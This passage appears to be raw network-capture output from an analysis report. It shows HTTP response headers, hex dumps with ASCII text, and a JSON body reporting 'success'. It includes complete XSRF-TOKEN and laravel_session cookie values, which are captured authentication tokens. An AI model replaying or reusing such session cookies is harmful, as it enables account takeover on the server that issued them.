cfL4;desc="?proto=TCP&rtt=1064&min_rtt=1016&rtt_var=415&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=3226&delivery_rate=2803149&cwnd=237&unsent_bytes=0&cid=3db1057b930d74ca&ts=219&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6ImxjZzMxTGRlVmc2dUxNaVNGS1k1RFE9PSIsInZhbHVlIjoiTjB6RnoxM3Jid2hUUjJ3KzNEckRFK1BLQWp4d3NiYWloSXp4RFlMRk1YckdReG9qVVpQdkM1T3RoWmRUbDM1K3ZpQzg0V1dpV1I1d0dpNUNjUEdtTXVoaFFGdXZLRXNpUlk2N1g1b1BPR1ZpN1VSQ2hsc0VGcklYVVhtWmRiN1MiLCJtYWMiOiI5Mjk0OTAyMDRkZmRkNGU5NThkNWYwMzcxMDY2YzYxOTk2MGQ5MTQ2MmFiNjhiODdhM2RkMjhhZjEzZDU0YmVkIiwidGFnIjoiIn0%3D; expires=Tue, 18-Mar-2025 14:34:08 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-18 12:34:08 UTC	787	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 52 68 56 48 42 56 54 54 42 31 59 55 4e 52 55 57 70 76 5a 56 6f 31 51 6a 56 6b 4e 6b 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 64 7a 64 74 54 6b 5a 6d 51 6d 68 53 53 31 56 4e 52 6a 45 35 63 45 68 53 5a 48 70 45 65 44 63 7a 51 56 52 48 4b 32 70 55 63 54 5a 51 51 6a 68 49 4c 31 4e 79 55 55 35 4d 55 6a 5a 51 55 6a 68 6c 4d 47 78 33 54 6d 45 72 55 47 38 76 55 44 6c 5a 4d 46 46 44 4f 57 52 4a 56 55 39 74 54 58 67 7a 61 7a 52 74 56 32 46 43 56 47 64 74 51 57 39 6d 61 56 56 30 54 6b 64 43 57 6b 38 33 5a 54 4a 59 5a 54 6c 6b 56 30 64 4a 63 6e 4a 72 62 45 6f 34 4f 48 70 45 61 6d 46 49 63 6b 67 33 54 32 64 76 4d 6c 5a 6f 4e 7a 4e 6c 4d 6d 4d Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InRhVHBVTTB1YUNRUWpvZVo1QjVkNkE9PSIsInZhbHVlIjoidzdtTkZmQmhSS1VNRjE5cEhSZHpEeDczQVRHK2pUcTZQQjhIL1NyUU5MUjZQUjhlMGx3TmErUG8vUDlZMFFDOWRJVU9tTXgzazRtV2FCVGdtQW9maVV0TkdCWk83ZTJYZTlkV0dJcnJrbEo4OHpEamFIckg3T2dvMlZoNzNlMmM
2025-03-18 12:34:08 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2025-03-18 12:34:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0